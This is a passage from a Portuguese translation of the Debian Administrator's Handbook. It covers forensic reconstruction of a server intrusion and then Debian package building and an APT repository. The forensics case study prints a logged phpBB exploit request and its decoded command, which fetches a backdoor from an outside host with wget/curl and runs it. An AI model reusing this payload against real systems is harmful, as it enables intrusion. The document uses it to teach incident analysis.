O servidor não deve ser trazido de volta em linha sem uma reinstalação completa. Se o comprometimento foi grave (se privilégios administrativos foram obtidos), não há quase nenhuma outra maneira de ter certeza de que estamos livres de tudo o que o invasor pode ter deixado para trás (particularmente backdoors). Naturalmente, todas últimas atualizações de segurança devem também ser aplicadas de modo a conectar a vulnerabilidade utilizada pelo invasor. O ideal, analisando o ataque deve apontar para este vetor de ataque, para que se possa ter certeza de efetivamente corrigi-lo, caso contrário, só se pode esperar que a vulnerabilidade foi um daqueles fixados pelas atualizações.

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Analise Fonrense

Agora que o serviço foi restaurado, é hora de dar uma olhada nas imagens de disco do sistema comprometido a fim de compreender o vetor de ataque. Ao montar essas imagens, deve se tomar cuidado e usar as opções ro, nodev, noexec, noatime de modo a evitar alteração dos conteúdos (incluindo marcas de tempo de acesso a arquivos) ou a execução de programas comprometidos por engano.

Refazendo um cenário de ataque geralmente envolve olhar para tudo o que foi modificado e executado:

arquivos .bash_history muitas vezes prevem uma leitura muito interessante;

o mesmo acontece listando arquivos que foram recentemente criados, modificados ou acessados;

o comando strings ajuda a identificar programas instalados pelo atacante, extraindo seqüências de texto de um binário;

os arquivos de log em /var/log/ muitas vezes permitem reconstruir uma cronologia dos eventos;

ferramentas special-purpose também permitem restaurar o conteúdo de arquivos potencialmente excluídos, incluindo arquivos de log que os atacantes muitas vezes excluíram.

Algumas dessas operações podem ser facilitadas com software especializado. Em particular, o pacote sleuthkit fornece muitas ferramentas para analisar um sistema de arquivos. Seu uso é facilitado pela interface gráfica do Autopsy Forensic Browser (no pacote autopsy). Algumas distribuições do Linux têm uma imagem de instalação "live" e contêm muitos programas para análise forense, como o Kali Linux (consulte Seção A.8, “Kali Linux”), com seu modo forense, BlackArchLinux , e o comercial Grml-Forensic, baseado no Grml (veja em Seção A.6, “Grml”).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. Reconstituindo o Cenário do Ataque

Todos os elementos recolhidos durante a análise devem se encaixar como peças de um quebra-cabeça, a criação dos primeiros arquivos suspeitos é muitas vezes relacionada aos registros que comprovam a violação. A exemplo do mundo real deve ser mais explícito do que longas divagações teóricas.

O registo seguinte foi extraído de um Apache access.log:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Este exemplo corresponde à exploração de uma antiga vulnerabilidade de segurança no phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decodificar esta longa URL leva ao entendimento de que o atacante conseguiu executar algum código PHP, chamado: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Na verdade, um arquivo bd foi encontrado em /tmp/. Executando strings /mnt/tmp/bd retorna, entre outros textos, PsychoPhobia Backdoor is starting... Isso realmente parece um backdoor.

Algum tempo depois, esse acesso foi usado para fazer o download, instalar e executar um bot - robô de IRC, conectado a uma rede IRC subterrânea. O robô pode então ser controlado através deste protocolo e instruído realizar download de arquivos para compartilhamento. Este programa ainda tem o seu próprio arquivo de log:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Esses registros mostram que dois arquivos de vídeo foram armazenados no servidor por meio do endereço IP 82.50.72.202.

Paralelamente, o invasor também baixou um par de arquivos extras, /tmp/pt e /tmp/loginx . A execução desses arquivos por meio de strings leva a strings como Shellcode placed at 0x%08lx e Now wait for suid shell.... Parecem programas que exploram vulnerabilidades locais para obter privilégios administrativos. Eles alcançaram seu alvo? Nesse caso, provavelmente não, uma vez que nenhum arquivo parece ter sido modificado após a violação inicial.

Neste exemplo, a intrusão toda foi reconstruída, e pode-se deduzir que o invasor foi capaz de tirar vantagem do sistema comprometido por cerca de três dias, mas o elemento mais importante na análise é que a vulnerabilidade tenha sido identificada, e o administrador pode esta certo de que a nova instalação realmente corrigiu a vulnerabilidade.

Capítulo 15. Criando um Pacote Debian

É muito comum, para um administrador que vem lidando com pacotes Debian de maneira regular, sentir eventualmente a necessidade de criar o seu próprio pacote, ou modificar um pacote existente. Este capítulo tem a intenção de responder as questões mais comuns neste campo, e dar os elementos necessários para tirar vantagem da infraestrutura do Debian da melhor maneira possível. Com alguma sorte, após testar sua mão em pacotes locais, você sinta a necessidade de se aprofundar e eventualmente juntar-se até mesmo ao projeto Debian!

15.1. Reconstruindo um Pacote a partir de suas Fontes

Reconstruir um pacote binário é necessário sob diversas circunstâncias. Em alguns casos, o administrador precisa de uma funcionalidade que necessita que o programa seja compilado a partir de suas fontes, com uma opção particular de compilação; em outras, o programa empacotado na versão instalada do Debian não é suficientemente recente. Em último caso, o administrador irá usualmente construir um pacote mais recente retirado de uma versão mais recente do Debian — como Testing ou até mesmo Unstable — então este novo pacote funcionará em sua distribuição Stable; esta operação é chamada “backporting”. Como de costume, alguma cautela deve ser tomada, antes de se empreender essa tarefa, para verificar se isto já não foi feito anteriormente — uma rápida olhada na página de Rastreamento de Pacote Debian para esse pacote irá revelar essa informação.

→ https://tracker.debian.org/

15.1.1. Pegando os Fontes

Reconstruir um pacote Debian começa com a obtenção de seu código-fonte. A maneira mais fácil é usar o comando apt-get source nome-do-pacote-fonte. Este comando requer uma linha deb-src no arquivo /etc/apt/sources.list, e os arquivos de índice atualizados (ou seja apt-get update). Estas condições já devem estar resolvidas se você seguiu as instruções no capítulo sobre a configuração do APT (veja em Seção 6.1, “Preenchendo no arquivo sources.list Arquivo”). Note, no entanto, que você estará baixando os pacotes fonte da versão Debian mencionada na linha deb-src.

Se você precisa de uma outra versão, você pode precisar baixá-lo manualmente a partir de um dos espelho Debian ou a partir do web site. Trata-se de buscar dois ou três arquivos (com extensões *.dsc — para Debian Source Control (Controle do Fonte Debian) - *.tar.comp, e algumas vezes *.diff.gz ou *.debian.tar.comp — comp tendo um valor entre gz, bz2 ou xz, dependendo da ferramenta de compressão em uso), em seguida, executando o comando dpkg-source -x arquivo.dsc. Se o arquivo *.dsc é diretamente acessível em uma determinada URL, há uma maneira ainda mais simples para buscar tudo, com o comando dget URL. Este comando (que pode ser encontrado no pacote devscripts) obtém o arquivo *.dsc no endereço fornecido, então analisa o seu conteúdo e vai buscar automaticamente o arquivo, ou arquivos, referenciados nele. Uma vez que tudo tenha sido baixado, ele verifica a integridade dos pacotes de origem baixados usando o dscverify e extrai o pacote fonte (a menos que a opção -d ou --download-only seja usada). O chaveiro Debian é necessário, a menos que a opção -u seja fornecida.

15.1.2. Fazendo Alterações

Usemos o pacote samba como exemplo.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 12.3 MB of source archives. Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B] Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB] Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB] Fetched 12.3 MB in 3s (4,582 kB/s) dpkg-source: info: extracting samba in samba-4.13.13+dfsg dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch dpkg-source: info: applying [...]

O fonte do pacote está agora disponível em um diretório com o nome baseado no pacote fonte e sua versão (samba-4.13.13+dfsg); este é o lugar onde nós vamos trabalhar em nossas mudanças locais.

A primeira coisa a se fazer é mudar o número de versão do pacote, para que a reconstrução possa ser diferenciada dos pacotes originais fornecidos pelo Debian. Assumindo que a versão atual é 2:4.13.13+dfsg-1~deb11u3, nós podemos criar uma versão 2:4.13.13+dfsg-1~deb11u3+falcot1, que claramente indica a origem do pacote. Isto faz com que a versão do pacote seja maior do que a provida pelo Debian, então o pacote facilmente instalará como se fosse uma atualização do pacote original. Tal alteração é melhor realizada com o comando dch (Debian CHangelog) do pacote devscripts.

$ cd 4.13.13+dfsg-1~deb11u3 $ dch --local +falcot

O último comando invoca um editor de texto (sensible-editor - este deve ser o seu editor favorito se for mencionado nas variáveis de ambiente VISUAL ou EDITOR e o editor padrão caso contrário) para permitir a documentação das diferenças trazidas por esta reconstrução. Este editor nos mostra que dch realmente mudou o arquivo debian/changelog.

Quando mudanças nas opções de construção são necessárias, as mudanças precisam ser feitas em debian/rules, que controla os passos para o processo de construção do pacote. Nos casos mais simples, as linhas relativas às configurações iniciais (./configure …) ou à construção em si ($(MAKE) … ou make … ou cmake … ou …) são fáceis de achar. Se estes comandos não são explicitamente chamados, eles provavelmente são efeitos colaterais de outro comando explícito. Em qualquer dos casos, por favor verifique a documentação para aprender mais sobre como modificar o comportamento padrão. Com pacotes usando o dh, você talvez precise adicionar um "overridde" para os comandos dh_auto_configure ou dh_auto_build (veja suas respectivas páginas de manual e debhelper(7) para explicações de como fazer isso).

Dependendo das mudanças locais nos pacotes, uma atualização talvez seja necessária no arquivo debian/control , o qual contém uma descrição dos pacotes gerados. Em particular, este arquivo contém linhas Build-Depends que controlam uma lista de dependências que devem ser satisfeitas durante a construção do pacote. Estas geralmente se referem a versões de pacotes contidos na distribuição da qual o pacote fonte veio, mas que talvez não estejam disponíveis na distribuição utilizada na reconstrução. Não há maneira automática para determinar se uma dependência é real ou apenas especificada para garantir que a construção seja apenas tentada com a última versão da biblioteca — esta é a única maneira de se forçar um autobuilder (construtor automático) a usar um dado pacote durante a construção, eis o porque dos mantenedores Debian frequentemente utilizarem versões restritas das dependências de construção.

Se você tem certeza de que estas dependências de compilação são muito rigorosas, você deve se sentir livre para relaxá-las localmente. Lendo os arquivos que documentam a forma padrão de construção do software - esses arquivos são chamados frequentemente INSTALL - irá ajudar você a descobrir as dependências apropriadas. Idealmente, todas as dependências devem ser satisfeitas a partir da distribuição utilizada para a reconstrução, se não forem, um processo recursivo começa, onde os pacotes mencionados no campo Build-Depends devem passar por um "backport" antes do pacote alvo. Alguns pacotes podem não precisar de "backport", e podem ser instalados como estão durante o processo de criação (um exemplo notável é debhelper). Note que o processo de backport pode rapidamente tornar-se complexo, se você não for cuidadoso. Portanto, backports devem ser mantidos a um mínimo o mais estrito possível.

DICA Instalando Build-Depends

apt-get permite instalar todos os pacotes mencionados nos campos Build-Depends de um pacote fonte disponível em uma distribuição mencionada na linha deb-src no arquivo /etc/apt/sources.list. Isto é uma questão de simplesmente executar o comando apt-get build-dep pacote.

15.1.3. Começando a Reconstrução

Quando todas as mudanças necessárias forem aplicadas aos fontes, podemos começar a gerar o verdadeiro pacote binário (arquivo .deb). Todo o processo é gerenciado pelo comando dpkg-buildpackage.

Exemplo 15.1. Reconstruindo um pacote

$ dpkg-buildpackage -us -uc [...]

O comando anterior pode falhar se o campo Build-Depends não tiver sido atualizado, ou se os pacotes relacionados estiverem instalados. Neste caso, é possível anular esta verificação passando a opção -d para o dpkg-buildpackage. Entretanto, ignorar explicitamente essas dependências cria-se o risco do processo de construção falhar em um estágio seguinte. Pior, o pacote pode parecer corretamente construído mas não executar corretamente: alguns programas automaticamente desabilitam algumas de suas funcionalidades quando uma biblioteca necessária não está disponível em tempo de construção. A opção ainda pode ser muito útil se você deseja apenas criar um pacote fonte, que deve ser passado para ambientes de construção limpos, conforme descrito em OLHADA RÁPIDA Construindo pacotes em ambientes com chroot e virtuais.

As outras opções usadas no exemplo acima garantem que nem o arquivo .dsc do pacote fonte (-us) nem o arquivo .changes produzido (-uc) são assinados com a chave criptográfica do construtor de pacotes após uma construção bem-sucedida.

FERRAMENTA fakeroot

Essencialmente, o processo de criação de pacotes é simplesmente uma questão de coletar em um arquivo compactado um conjunto de arquivos existentes (ou construídos); a maioria dos arquivos irá acabar sendo de posse do root no arquivo compactado. Entretanto, construir um pacote inteiro usando este usuário implicaria em riscos maiores; felizmente, isto pode ser evitado com o comando fakeroot. Esta ferramenta pode ser usada para executar um programa e dá-lo a impressão de que é executado como root e cria arquivos com posse e permissões arbitrárias. Quando o programa cria o arquivo que se tornará o pacote Debian, ele acha que está criando um arquivo compactado contendo arquivos marcados como pertencendo a usuário arbitrários, incluindo o root. Esta configuração é tão conveniente que o dpkg-buildpackage usa o fakeroot por padrão quando cria pacotes.

Note que o programa é somente levado a crer que está operando com uma conta privilegiada, e o processo de fato é executado como o usuário que executou o programa fakeroot (e os arquivos são na verdade criados com as permissões daquele usuário). Em nenhum momento ele realmente consegue privilégios de root dos quais poderia abusar.

Na maioria das vezes, os desenvolvedores Debian usam um programa de alto nível como o debuild; ele executa o dpkg-buildpackage como de costume, mas também inclui uma invocação de um programa que executa diversas verificações para validar a geração dos pacotes de acordo com a política do Debian. Este script também limpa o ambiente para que variáveis locais não "poluam" a construção do pacote. O comando debuild é umas das ferramentas da suíte devscripts, que divide alguma consistência e configuração para tornar as tarefa dos mantenedores mais fácil.

OLHADA RÁPIDA Construindo pacotes em ambientes com chroot e virtuais

Construir um pacote em um sistema existente, como uma estação de trabalho ou servidor, pode apresentar vários problemas. Talvez o sistema tenha pacotes instalados, que entrem em conflito com os requisitos de construção. Ou talvez tenha pacotes (bibliotecas, cabeçalhos, etc.) instalados, que o projeto a construir não deve usar - por exemplo de Testing, Unstable ou mesmo de terceiros. Também pode ter pacotes instalados, que são realmente necessários para a construção, mas não estão listados em debian/control. Portanto, é uma boa prática construir pacotes em ambientes “limpos”.

O programas sbuild, pbuilder ou cowbuilder (nos pacotes de mesmo nome) permitem a construção de um pacote Debian em um ambiente chroot (enjaulado). Cada um deles primeiramente cria um diretório temporário contendo um sistema mínimo necessário para a construção do pacote (incluindo os pacotes mencionados no campo Build-Depends). Este diretório é então usado como diretório raiz (/), utilizando o comando chroot, durante a fase de construção.

Estas ferramentas permitem que processo de construção aconteça em um ambiente que não foi alterado pelo usuário. Também permite uma detecção rápida de alguma dependência de construção (build-dependency) perdida (já que a construção irá falhar a não ser que as dependências apropriadas estejam documentadas). Finalmente, ele permite a construção de um pacote para uma versão do Debian diferente do sistema por completo: a máquina pode estar utilizando Stable para seu trabalho normal, e os ambientes com chroot podem ser rodando na mesma máquina usando Unstable para a construção dos pacotes. Usando estas ferramentas, também é possível construir para uma distribuição diferente, como Ubuntu.

schroot, sbuild-shell ou pbuilder permitem que se rode um comando ou shell de login num ambiente com chroot.

Às vezes não é suficiente construir um pacote em um ambiente com chroot. Isso pode ser devido à construção de uma arquitetura diferente em que a compilação cruzada não funciona ou devido às ferramentas não serem capazes de criar um ambiente com chroot para o sistema de destino desejado. Então pode-se criar máquinas virtuais para construir o pacote lá. Essas configurações geralmente são mais complexas do que as ferramentas mencionadas acima e raramente são necessárias, portanto, apenas mencionaremos essa possibilidade sem entrar em muitos detalhes. Confira Seção 12.2, “Virtualização” para uma introdução a este tópico.

15.2. Construindo seu Primeiro Pacote

15.2.1. Meta-pacotes ou Falsos Pacotes

Pacotes falsos e meta-pacotes são similares, ambos são caixas vazias que existem apenas pelo efeito que seus metadados fazem na pilha de gerenciamento de pacotes.

O propósito de um pacote falso é enganar o dpkg e o apt para acreditarem que algum pacote está instalado mesmo que em realidade seja apenas uma caixa vazia. Isto permite satisfazer dependências num pacote quando o programa correspondente foi instalado fora do escopo do sistema de pacotes. Este método funciona, porém deve mesmo assim ser evitado sempre que possível, já que não existem garantias de que o programa instalado manualmente se comportará exatamente como o pacote correspondente faria e outros pacotes dependentes dele podem não funcionar corretamente.

De outra maneira, um meta-pacote existe em sua maioria como uma coleção de dependências, então instalar um meta-pacote é na verdade instalar um conjunto de pacotes em um único passo.

Ambos os tipos de pacotes podem ser criados pelos comandos equivs-control e equivs-build (do pacote equivs). O comando equivs-control arquivo cria um arquivo de cabeçalho de pacote Debian que deve ser editado para conter o nome do pacote desejado, seu número de versão, o nome do mantenedor, suas dependências e sua descrição. Outros campos, sem um valor padrão são opcionais e podem ser excluídos. Os campos Copyright, Changelog, Readme e Extra-Files não são campos padrões em pacotes Debian; eles só fazem sentido no âmbito da equivs-build, e eles não serão mantidos nos cabeçalhos do pacote gerados.

Exemplo 15.2. Arquivo de cabeçalho do pacote falso libxml-libxml-perl

Section: perl Priority: optional Standards-Version: 4.5.1 Package: libxml-libxml-perl Version: 2.0207-1 Maintainer: Raphael Hertzog <hertzog@debian.org> Depends: libxml2 (>= 2.9.10) Architecture: all Description: Fake package - module manually installed in site_perl This is a fake package to let the packaging system believe that this Debian package is installed. . In fact, the package is not installed since a newer version of the module has been manually compiled &amp; installed in the site_perl directory.

O próximo passo é gerar o pacote Debian com o comando equivs-build arquivo. Voilà: o pacote foi criado no diretório atual e pode ser manejado como qualquer outro pacote Debian seria.

$ equivs-build arquivo equivs-build control dpkg-buildpackage: info: source package libxml-libxml-perl dpkg-buildpackage: info: source version 2.0207-1 dpkg-buildpackage: info: source distribution unstable dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org> dpkg-buildpackage: info: host architecture amd64 dpkg-source --before-build . debian/rules clean dh clean dh_clean debian/rules binary dh binary dh_update_autotools_config dh_autoreconf create-stamp debian/debhelper-build-stamp dh_prep dh_install dh_installdocs dh_installchangelogs dh_perl dh_link dh_strip_nondeterminism dh_compress dh_fixperms dh_missing dh_installdeb dh_gencontrol dh_md5sums dh_builddeb dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'. dpkg-genbuildinfo --build=binary dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes dpkg-genchanges: info: binary-only upload (no source code included) dpkg-source --after-build . dpkg-buildpackage: info: binary-only upload (no source included) The package has been created. Attention, the package has been created in the current directory, not in ".." as indicated by the messaige above!

15.2.2. Depósito Simples de Arquivos

Os administradores da Falcot Corp precisam criar um pacote Debian para facilitar a instalação de um conjunto de documentos em um grande número de máquina. O administrador responsável por essa tarefa primeiramente lê o “New Maintainer's Guide”, e então começa a trabalhar no seu primeiro pacote.

→ https://www.debian.org/doc/manuals/maint-guide/

O primeiro passo é criar um diretório falcot-data-1.0 que conterá o pacote fonte. O pacote irá, logicamente, ser chamado de falcot-data e terá o número de versão 1.0. O administrador então coloca os documentos em um subdiretório data. Então ele chama o comando dh_make (do pacote dh-make) para adicionar os arquivos necessários para o processo de criação do pacote, o qual será armazenado em um subdiretório debian:

$ cd falcot-data-1.0 $ dh_make --native Type of package: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Sat, 26 Feb 2021 13:02:06 +0100 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep Are the details correct? [Y/n/q] Currently there is not top level Makefile. This may require additional tuning Done. Please edit the files in the debian/ subdirectory now. $

O tipo de pacote escolhido (indep) indica que este pacote fonte irá gerar um único pacote binário que pode ser compartilhado entre todas as arquiteturas (Arquitetura: all em debian/control). single atua como contraparte, e leva a um único pacote binário que é dependente da arquitetura alvo ( Arquitetura: any). Neste caso, a primeira escolha é mais relevante uma vez que o pacote contém apenas os documentos e não programas binários, para que possa ser usado de forma semelhante em computadores de todas as arquiteturas.

O tipo biblioteca corresponde a um pacote fonte levando a vários pacotes binários. Ele é útil para bibliotecas compartilhadas, uma vez que precisa seguir regras rígidas do empacotamento.

DICA Nome e endereço de e-mail do mantenedor

A maioria dos programas envolvidos em manutenção de pacotes irá procurar seu nome e endereço de e-mail no DEBFULLNAME e DEBEMAIL ou nas variáveis de ambiente EMAIL. Defini-los de uma vez por todas vai evitar que você tenha de digitá-los várias vezes. Se seu shell usual é o bash, é uma simples questão de adicionar as duas linhas seguintes em seu aquivo ~/.bashrc (você obviamente substitui os valores com os mais relevantes!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

O comando dh_make criou uma pasta debian com muitos arquivos. Alguns são necessários, em particular rules, control, changelog e copyright. Arquivos com extensão .ex são exemplos de arquivos que podem ser utilizados, modificando-os (e removendo a extensão), se for o caso. Quando eles não são necessários, então é recomendado removê-los. O arquivo compat não é mais usado nem criado. Em vez de definir o nível de compatibilidade do debhelper como um número neste arquivo, ele agora é definido como uma dependência de compilação no pacote virtual debhelper-compat no campo Build-Depends em debian/control.

O arquivo copyright deve conter informações sobre os autores dos documentos incluídos no pacote e os respectivos direitos autorais e licença. No nosso caso, esses são documentos internos e seu uso é restrito à empresa Falcot Corp. O formato padrão usado para este arquivo é definido no campo Format.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

O arquivo changelog padrão é geralmente apropriado; basta substituir o “Initial release” por uma explicação mais detalhada e alterar a distribuição de UNRELEASED ou unstable para o nome do lançamento alvo.

O arquivo control também deve ser atualizado: o campo Section pode ser alterado para misc e os campos Homepage, Vcs-Git e Vcs-Browser foram removidos. Os campos Depends foram preenchidos com firefox-esr | www-browser para garantir a disponibilidade de um navegador web capaz de exibir os documentos do pacote. Se o pacote não exigir a execução de nenhum comando como root (consulte FERRAMENTA fakeroot), o campo Rules-Requires-Root pode ser deixado como está.

Exemplo 15.3. O arquivo control

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper-compat (= 13) Standards-Version: 4.5.1 Rules-Requires-Root: no Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

Exemplo 15.4. O arquivo changelog

falcot-data (1.0) bullseye; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Sat, 26 Feb 2022 15:12:06 +0100

Exemplo 15.5. O arquivo copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2021 Falcot Corp License: All rights reserved.

DE VOLTA AO BÁSICO arquivo Makefile

Um arquivo Makefile é um roteiro usado pelo programa make; ele descreve regras para a construção de um conjunto de arquivos a partir de uma árvore de dependências entre si (por exemplo, um programa pode ser construído a partir de um conjunto de arquivos fonte). Os arquivos Makefile descrevem essas regras no seguinte formato:

alvo: fonte1 fonte2 ... comando1 comando2

A interpretação básica dessas regras é como segue: se um dos arquivos fonte* é mais recente do que o arquivo alvo, então o alvo precisará ser gerado, usando comando1 e comando2.

Note que as linhas com comandos devem começar com um caractere de tabulação, também note que quando uma linha de comando começa com um traço (-), a falha do comando não interromperá o processo por inteiro.

O arquivo rules geralmente contém um conjunto de regras usado para configurar, construir e instalar o software em um subdiretório específico (nomeado de acordo com o pacote binário gerado). O conteúdo desta pasta é depois arquivado dentro do pacote Debian como se fosse a raiz do sistema de arquivos. No nosso caso, os arquivos serão instalados na pasta debian/falcot-data/usr/share/falcot-data/ para que a instalação do pacote gerado implante os arquivos em /usr/share/falcot-data/. O arquivo rules é utilizado como um Makefile, com alguns alvos padrões (incluindoclean e binary, utilizados, respectivamente, para limpar a pasta de origem e gerar o pacote binário).

Embora esse arquivo seja o coração do processo, cada vez mais ele contém somente a informação mínima para executar um conjunto padrão de comandos provido pela ferramenta debhelper. Tal é o cado dos arquivos gerados pelo dh_make. Para instalar nossos arquivos, nós simplesmente configuramos o comportamento do comando dh_install criando o seguinte arquivo debian/falcot-data.install:

data/* usr/share/falcot-data/

Neste ponto, o pacote pode ser criado. Nós, no entanto, vamos adicionar um toque especial. Já que os administradores querem que os documentos sejam facilmente acessados a partir dos menus dos ambientes de trabalho gráficos, nós adicionamos um arquivo falcot-data.desktop e o instalaremos em /usr/share/applications através da adição de uma segunda linha em debian/falcot-data.install.

Exemplo 15.6. O arquivo falcot-data.desktop

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

O debian/falcot-data.install atualizado se parece com isso:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

Nosso pacote fonte está pronto. Agora só falta gerar um pacote binário, com o mesmo método que usamos anteriormente para reconstruir pacotes: executamos o comando dpkg-buildpackage -us -uc de dentro do diretório falcot-data-1.0.

15.3. Criando um Repositório de Pacotes para o APT

A Falcot Corp gradualmente começou a manter alguns pacotes Debian modificados localmente a partir de pacotes existentes ou criados do zero para distribuir dados e programas internos.

Para facilitar a instalação, eles querem integrar estes pacotes em um repositório que possa ser acessado diretamente usando a ferramenta APT. Por motivos de manutenção óbvios, eles querem separar os pacotes internos dos pacotes reconstruídos localmente. O objetivo é ter as entradas correspondentes no arquivo /etc/apt/sources.list.d/falcot.list como segue:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

Os administradores, portanto, configuram uma máquina virtual em seu servidor HTTP interno, com /srv/vhosts/packages/ como a raiz do espaço web associado. A gestão do repositório é delegada ao comando mini-dinstall (no pacote de mesmo nome). Esta ferramenta mantém um olho em um diretório incoming/ (no nosso caso, /srv/vhosts/packages/mini-dinstall/incoming/) e espera por novos pacotes lá; quando um pacote for carregado, ele é instalado em um repositório Debian em /srv/vhosts/packages/. O comando mini-dinstall lê o arquivo *.changes criado quando o pacote Debian é gerado. Esses arquivos contêm uma lista de todos os outros arquivos associados com a versão do pacote (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, ou seus equivalentes com outras ferramentas de compressão), e que permitem mini-dinstall saber quais arquivos instalar. Arquivos *.changes também contêm o nome da distribuição alvo (muitas vezes unstable) mencionado na última entrada debian/changelog, e mini-dinstall usa essas informações para decidir onde o pacote deve ser instalado. É por isso que os administradores devem sempre alterar este campo antes de construir um pacote, e configurá-lo para internal ou updates, dependendo da localização do alvo. O mini-dinstall gera, então, os arquivos necessários para o APT, como o Packages.gz.

ALTERNATIVA apt-ftparchive, aptly e reprepro

Se mini-dinstall parece demasiado complexo para as suas necessidades de empacotamento Debian, você também pode usar o comando apt-ftparchive. Esta ferramenta verifica o conteúdo de um diretório e exibe (em sua saída padrão) um arquivo Packages correspondente. No caso da Falcot Corp, os administradores podem carregar os pacotes diretamente em /srv/vhosts/packages/updates/ ou /srv/vhosts/packages/internal/, em seguida, executar os seguintes comandos para criar os arquivos Packages.gz:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

O comando apt-ftparchive sources permite criar arquivos Sources.gz de maneira similar.

